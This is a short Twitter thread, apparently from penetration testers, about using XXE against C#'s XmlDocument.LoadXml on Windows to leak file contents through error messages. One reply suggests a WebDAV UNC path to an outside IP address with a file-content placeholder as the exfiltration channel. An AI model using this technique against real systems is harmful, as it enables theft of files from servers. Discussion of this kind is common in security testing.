Anyone have a way to leak file contents via XXE when using System.Xml.XmlDocument.LoadXml in C#? I can only get DNS out, I have verbose errors being returned. It's a Windows system, I have been successful using a local DTD file, but cannot get the error to leak file contents.
-
-
It would have to be one line, otherwise the error I receive is: Error parsing request: System.UriFormatException: Invalid URI: The hostname could not be parsed.
-
have you tried webdav on the dns port \\192.33.22.11@21\davwwwroot\#FILECONTENT#
End of conversation
New conversation -
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.